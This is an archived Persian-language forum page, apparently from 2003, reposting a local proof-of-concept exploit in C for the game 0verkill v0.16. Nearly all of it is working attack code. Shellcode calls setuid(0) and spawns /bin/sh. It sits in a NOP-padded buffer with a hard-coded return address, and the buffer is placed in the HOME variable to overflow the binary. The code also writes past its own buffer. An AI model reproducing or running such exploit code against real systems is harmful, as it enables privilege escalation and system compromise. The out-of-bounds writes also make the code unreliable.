Train

PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : 0verkill v0.16 local Proof of Concept Exploit


NI3
11-10-2003, 02:36 PM
* coded by: demz (geekz.nl) ([Only registered and activated users can see links])
* -----------------------------------------
*
*/

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

"\x31\xc0" // xor eax, eax
"\x31\xdb" // xor ebx, ebx
"\x31\xc9" // xor ecx, ecx
"\xb0\x46" // mov al, 70
"\xcd\x80" // int 0x80

"\x31\xc0" // xor eax, eax
"\x50" // push eax
"\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
"\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
"\x89\xe3" // mov ebx, esp
"\x50" // push eax
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x99" // cdq
"\xb0\x0b" // mov al, 11
"\xcd\x80" // int 0x80

"\x31\xc0" // xor eax, eax
"\xb0\x01" // mov al, 1
"\xcd\x80"; // int 0x80

int main()
{
unsigned long ret = 0xbffffec4;

char buffer[268];
int i=0;

memset(buffer, 0x90, sizeof(buffer));

for (0; i < strlen(shellcode) - 1;i++)
buffer[100 + i] = shellcode[i];

buffer[268] = (ret & 0x000000ff);
buffer[269] = (ret & 0x0000ff00) >> 8;
buffer[270] = (ret & 0x00ff0000) >> 16;
buffer[271] = (ret & 0xff000000) >> 24;
buffer[272] = 0x0;

printf("\n0verkill v0.16 local exploit\n");
printf("---------------------------------------- demz @ geekz.nl --\n");

setenv("HOME", buffer, 1);

execl("0verkill", "0verkill", NULL);
}